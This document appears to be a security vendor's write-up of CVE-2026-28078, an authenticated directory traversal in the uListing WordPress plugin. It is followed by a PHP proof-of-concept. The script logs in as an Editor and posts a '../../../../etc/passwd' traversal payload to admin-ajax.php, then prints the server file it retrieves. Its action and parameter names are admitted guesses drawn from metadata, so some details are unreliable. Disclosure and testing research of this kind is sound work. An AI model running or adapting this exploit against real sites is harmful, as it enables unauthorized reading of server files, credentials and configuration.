Atomic Edge analysis of CVE-2026-28078 (metadata-based):
This vulnerability is a classic directory traversal (CWE-22) in the uListing WordPress plugin. The CWE classification confirms improper pathname limitation. The description states authenticated attackers with Editor-level access can read arbitrary files. This indicates the plugin fails to properly sanitize user-controlled input used in file operations, likely via AJAX handlers or admin endpoints.
Atomic Edge research infers the root cause involves a file download or file retrieval function that accepts a filename or path parameter without validating it against directory traversal sequences. The plugin likely uses this parameter directly in functions like file_get_contents() or readfile().
Exploitation requires Editor-level WordPress credentials (PR:H in CVSS). Attackers would authenticate, then send a crafted request containing directory traversal sequences (../) in a file parameter. The CVSS vector shows network attack vector (AV:N), low attack complexity (AC:L), and high confidentiality impact (C:H).
Based on WordPress plugin patterns, the vulnerable endpoint is likely an AJAX handler at /wp-admin/admin-ajax.php with an action parameter containing ‘ulisting’ or a direct admin file at /wp-admin/admin-post.php. The parameter name could be ‘file’, ‘path’, ‘filename’, or similar. Payloads would include sequences like ‘../../../../etc/passwd’ or encoded variants.
The fix requires implementing proper path validation, likely using realpath() with basename() comparison, or restricting file access to a specific directory. WordPress nonce verification might also be missing, though the description focuses on path traversal.
Impact includes disclosure of sensitive server files like configuration files, environment variables, database credentials, or source code. This can lead to further server compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28078 - Directory Listings WordPress plugin – uListing <= 2.2.0 - Authenticated (Editor+) Arbitrary File Download
<?php
$target_url = 'https://target-site.com';
$username = 'editor_user';
$password = 'editor_pass';
// File to retrieve from server
$target_file = '../../../../etc/passwd';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// 1. Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);
// Check authentication success by looking for dashboard redirect
if (strpos($response, 'wp-admin') === false) {
die('Authentication failed');
}
// 2. Exploit directory traversal via AJAX endpoint
// Assumption: Plugin uses AJAX handler with 'ulisting' prefix and 'file' parameter
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'ulisting_download_file', // Inferred action name
'file' => $target_file, // Traversal payload
// Nonce may be required but could be bypassed or missing
'_wpnonce' => '' // Placeholder for nonce if needed
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$file_content = curl_exec($ch);
// 3. Output results
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200 && !empty($file_content)) {
echo "Exploit successful. File content:nn";
echo $file_content;
} else {
echo "Exploit failed. Response code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
echo "Response: " . substr($file_content, 0, 500) . "n";
}
curl_close($ch);
?>